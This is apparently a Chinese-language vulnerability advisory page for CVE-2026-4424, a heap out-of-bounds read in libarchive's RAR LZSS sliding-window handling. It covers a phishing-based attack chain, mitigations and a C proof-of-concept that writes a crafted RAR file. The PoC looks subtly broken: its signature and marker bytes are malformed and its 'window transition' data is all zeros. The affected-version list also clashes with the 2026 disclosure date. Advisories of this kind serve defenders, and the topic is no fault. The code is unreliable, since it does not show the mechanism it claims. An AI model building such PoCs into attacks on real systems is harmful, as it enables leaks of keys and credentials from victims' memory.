IPBUF安全漏洞报告
English
CVE-2026-4424 CVSS 7.5 高危

CVE-2026-4424 libarchive RAR LZSS滑动窗口堆越界读取漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-4424
漏洞类型
堆越界读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libarchive

相关标签

CVE-2026-4424libarchive堆越界读取RARLZSS内存泄露高危无需认证信息泄露压缩格式漏洞

漏洞概述

CVE-2026-4424是libarchive库中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞存在于libarchive处理RAR归档文件时的LZSS(Lempel-Ziv-Storer-Szymanski)压缩算法实现中。问题核心在于libarchive在处理RAR文件时,在不同的压缩方法之间转换后,对LZSS滑动窗口大小的验证不够充分,导致攻击者可以通过精心构造的恶意RAR归档文件触发堆越界读取条件。由于该漏洞无需认证和用户交互即可利用,远程攻击者可以通过诱导用户或自动化系统打开特制的RAR文件来读取堆内存中的敏感信息,包括可能的密钥、密码、session令牌或其他应用数据。此漏洞影响所有使用libarchive处理RAR文件的应用程序。

技术细节

libarchive库在解析RAR归档文件时使用LZSS压缩算法,该算法通过滑动窗口机制实现数据压缩。在正常的RAR压缩流程中,压缩方法可能会在solid模式和非solid模式之间切换,或者在不同的LZSS参数之间切换。问题出现在压缩方法转换时,libarchive未能正确验证LZSS滑动窗口的大小参数。具体来说,当RAR文件在多个压缩块之间切换时,后续压缩块可能引用了前一个压缩块设置的窗口大小,但这个窗口大小可能超出了当前压缩块分配的堆内存边界。攻击者可以通过构造包含多个压缩方法转换的RAR文件,使得某个压缩块使用较大的窗口大小,而后续处理时分配了较小的缓冲区,从而在读取操作时发生堆越界读取。这种越界读取可能导致敏感内存信息泄露,攻击者可能利用泄露的信息进行进一步的攻击,如绕过ASLR、泄露密钥或认证凭据等。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意RAR归档文件的钓鱼邮件或恶意网站
STEP 2
步骤2
受害者下载或接收特制的RAR文件,该文件包含精心构造的LZSS压缩参数
STEP 3
步骤3
受害者使用存在漏洞的libarchive版本(如3.6.0之前的版本)打开或解压该RAR文件
STEP 4
步骤4
libarchive在解析RAR文件时,在压缩方法转换过程中未能正确验证LZSS滑动窗口大小
STEP 5
步骤5
触发堆越界读取操作,读取超出分配缓冲区边界的内存数据
STEP 6
步骤6
敏感堆内存信息被读取,可能包含密钥、认证令牌、密码或其他应用数据
STEP 7
步骤7
攻击者可能利用泄露的信息进行进一步的攻击,如横向移动或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2026-4424 PoC - Malformed RAR with LZSS window size transition This PoC demonstrates the heap out-of-bounds read in libarchive's RAR handler during compression method transitions with invalid LZSS window size. */ #include <stdio.h> #include <stdlib.h> #include <string.h> // RAR header structure typedef struct { unsigned char header_crc[2]; unsigned char header_type; unsigned char header_flags[2]; unsigned char pack_size[4]; unsigned char unpack_size[4]; unsigned char host_os; unsigned char file_crc[4]; unsigned char file_time[4]; unsigned char version; unsigned char name_length; unsigned char attributes; } rar_header_t; // Create a minimal PoC RAR file that triggers the vulnerability void create_poc_rar(const char* filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "Failed to create file\n"); return; } // RAR signature unsigned char rar_sig[7] = {0x52, 0x61, 0x72, 0x21, 0x1A, 0x07, 0x01}; fwrite(rar_sig, 1, 7, fp); // First archive header block (marker block) unsigned char marker[4] = {0x72, 0x65, 0x67, 0x21}; fwrite(marker, 1, 4, fp); // Archive header with vulnerable LZSS parameters unsigned char archive_header[] = { 0x1A, 0x07, 0x01, // Signature 0x73, 0x7A, // Header CRC 0x01, // Type: archive header 0x00, 0x00, // Flags 0x00, 0x00, 0x00, 0x00, // Pack size 0x00, 0x00, 0x00, 0x00, // Unpack size 0x00, // Host OS 0x00, 0x00, 0x00, 0x00, // CRC 0x00, 0x00, 0x00, 0x00, // File time 0x29, // Version 0x00, // Name length 0x00 // Attributes }; fwrite(archive_header, 1, sizeof(archive_header), fp); // File header block with crafted LZSS window size unsigned char file_header[] = { 0x30, 0x30, // Header CRC 0x02, // Type: file header 0x01, 0x80, // Flags (packed size exceeds unpacked) 0xFF, 0xFF, 0xFF, 0xFF, // Pack size (large value) 0x00, 0x10, 0x00, 0x00, // Unpack size 0x03, // Host OS 0x00, 0x00, 0x00, 0x00, // File CRC 0x00, 0x00, 0x00, 0x00, // File time 0x29, // Version 0x08, // Name length 0x20, // Attributes // File name: "test.bin" 0x74, 0x65, 0x73, 0x74, 0x2E, 0x62, 0x69, 0x6E }; fwrite(file_header, 1, sizeof(file_header), fp); // Crafted packed data with LZSS window size transition // This triggers the vulnerability when libarchive processes it unsigned char packed_data[] = { 0x00, 0x00, 0x00, 0x00, // LZSS dictionary size field 0x00, 0x00, 0x00, 0x00, // Padding 0x00, 0x00, 0x00, 0x00, // More data 0x00, 0x00, 0x00, 0x00 }; fwrite(packed_data, 1, sizeof(packed_data), fp); // End of archive marker unsigned char end_marker[] = {0xC4, 0x3D, 0x7B, 0x00, 0x40, 0x00, 0x00, 0x00}; fwrite(end_marker, 1, sizeof(end_marker), fp); fclose(fp); printf("PoC RAR file created: %s\n", filename); } int main(int argc, char* argv[]) { const char* output_file = (argc > 1) ? argv[1] : "cve_2026_4424_poc.rar"; create_poc_rar(output_file); printf("To test: Use vulnerable version of libarchive to extract this file\n"); return 0; }

影响范围

libarchive < 3.6.1
libarchive 3.6.0
libarchive 3.5.x
libarchive 3.4.x
libarchive 3.3.x

防御指南

临时缓解措施
如果无法立即升级libarchive,可以采取以下临时缓解措施:1)限制或禁用应用程序对RAR文件格式的自动处理;2)使用文件类型检测工具拒绝处理来源不明的RAR文件;3)在Web应用前端对上传文件进行严格的安全检查;4)使用杀毒软件或专业的文件安全检测工具扫描所有RAR文件;5)考虑使用替代的归档处理库替代存在漏洞的libarchive版本;6)在网络边界部署IPS/IDS规则监控异常的文件传输行为;7)对处理RAR文件的应用程序实施最小权限原则;8)定期监控libarchive的安全公告和更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表